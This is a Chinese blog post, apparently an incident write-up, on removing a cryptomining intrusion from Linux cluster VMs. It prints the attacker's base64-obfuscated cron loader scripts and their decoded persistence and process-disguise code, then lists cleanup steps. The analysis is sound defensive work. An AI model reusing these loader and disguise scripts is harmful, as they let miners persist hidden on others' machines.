异常进程“ld-linux-x86-64”引发的一次集群遭到黑客攻击问题的解决

一、现象:

平台集群中的虚拟机,存在异常进程“ld-linux-x86-64”,占用了大量cpu资源。其次,重启虚拟机之后,虚拟机的操作系统ROOT用户密码会被修改,初步判断原因为被黑客攻击。

二、探索:

安装杀毒软件clamav

1040  yum install clamd -y

 1043  freshclam

 1049  service clamd start

 1052  chkconfig clamd on

 1053  clamdscan -V

 1054  clamscan -r / --move=/tmp

附clamscan命令参数说明:

1、 全盘扫描:# clamscan -r /

2、 扫描到病毒后立即删除(慎用):# clamscan -r / --remove

3、 扫描到病毒后立即移动到/tmp目录:# clamscan -r / --move=/tmp

4、 生成扫描日志文件:# clamscan/tmp/1.txt -l /var/log/clamscan.log

5、 常用选项:

(1) --quiet:只打印错误信息

(2) -i | --infected:只打印被感染的文件

(3) --remove[=yes/no(*)]:移除被感染的文件

(4) --move=DIRECTORY:将被感染的文件移至指定目录

(5) --copy=DIRECTORY:将被感染的文件复制至指定目录

(6) --exclude=REGEX:不扫描与正则表达式匹配的文件

(7) --exclude-dir=REGEX:不扫描与正则表达式匹配的目录

(8) --include=REGEX:只扫描与正则表达式匹配的文件

(9) --include-dir=REGEX:只扫描与正则表达式匹配的目录

-----------扫描摘要-----------

已知病毒:6778248

发动机版本:0.100.2

扫描目录:24595

扫描文件:136784

受感染的文件:3

总错误:6043

扫描数据:8724.49 MB

数据读取:8392.82 MB(比率1.04:1

---------------------------------

删除感染文件之后,问题依然在,暂时排除病毒的可能。

三、突破:

由于问题进程杀了又起来,换言之“杀不死”,那么一定有程序在监控并拉起它。最简单的实现方式就是利用Linux系统的“crontab”了。Crontab定时器通常用来执行定时任务或周期性任务,使用起来简单方便。于是随手检查了一下定时任务列表,终端键入命令“crontab -l”,发现:

        * * * * * /sbin/upd >/dev/null 2>&1

        意思是:/sbin/upd脚本每分钟执行一次,执行的返回内容不输出到控制台。

脚本内容是:

#!/usr/bin/env bash

echo 'IyEvYmluL3NoCmlmIHRlc3QgLXIgL3NiaW4vaW5pdGN0MTsgdGhlbgpwaWQ9JChjYXQgL3NiaW4v

aW5pdGN0MSkKaWYgJChraWxsIC1DSExEICRwaWQgPi9kZXYvbnVsbCAyPiYxKQp0aGVuCnNsZWVw

IDEKZWxzZQpjZCAvc2JpbgouL21rZTNmcyAmPi9kZXYvbnVsbApleGl0IDAKZmkKZmkK' | base64 -di | sh

显然,这是一个加密了的脚本,根据后面的“bash64 -di”

意思应该是用bash64编码方式解码,再后面的“sh”,意思是执行 解码后的内容。

清理相关文件:

1.清除定时器中的定时任务

2.杀掉异常进程

3.删掉分析出的所有涉及脚本及可执行文件

   rm -rf /sbin/upd

   rm -rf /sbin/initct1

   rm -rf /sbin/mke3fs

   rm -rf /sbin/s1n

   rm -rf /sbin/ld-linux-x86-64.so.2

   rm -rf /sbin/libpthread.so.1

4.修改root用户密码

四、分析:

涉及的脚本

1)/sbin/upd

脚本原文

#!/usr/bin/env bash
echo 'IyEvYmluL3NoCmlmIHRlc3QgLXIgL3NiaW4vaW5pdGN0MTsgdGhlbgpwaWQ9JChjYXQgL3NiaW4v
aW5pdGN0MSkKaWYgJChraWxsIC1DSExEICRwaWQgPi9kZXYvbnVsbCAyPiYxKQp0aGVuCnNsZWVw
IDEKZWxzZQpjZCAvc2JpbgouL21rZTNmcyAmPi9kZXYvbnVsbApleGl0IDAKZmkKZmkK' | base64 -di | sh

脚本解码后的真实内容

#!/bin/sh
if test -r /sbin/initct1; then
pid=$(cat /sbin/initct1)
if $(kill -CHLD $pid >/dev/null 2>&1)
then
sleep 1
else
cd /sbin
./mke3fs &>/dev/null
exit 0
fi
fi

功能:

        进程守护

2)/sbin/upd

脚本原文

#!/usr/bin/env bash

echo 'IyEvYmluL2Jhc2gKLi9zMW4gLXMgIi1iYXNoIiAtcCBpbml0Y3QxIC4vbGQtbGludXgteDg2LTY0

LnNvLjIgLS1saWJyYXJ5LXBhdGggLiAuL2xpYnB0aHJlYWQuc28uMSA+Pi9kZXYvbnVsbCAmCg==' | base64 -di | sh

脚本解码后的真实内容

#!/bin/bash
./s1n -s "-bash" -p initct1 ./ld-linux-x86-64.so.2 --library-path . ./libpthread.so.1 >>/dev/null &

功能:

        实现主功能(挖矿以及其他不可说的任务)

3)/sbin/initct1

功能:用来存放 进程ID。

可执行文件

 

/sbin/s1n

/sbin/ld-linux-x86-64.so.2

/sbin/libpthread.so.1

你可能感兴趣的:(安全相关)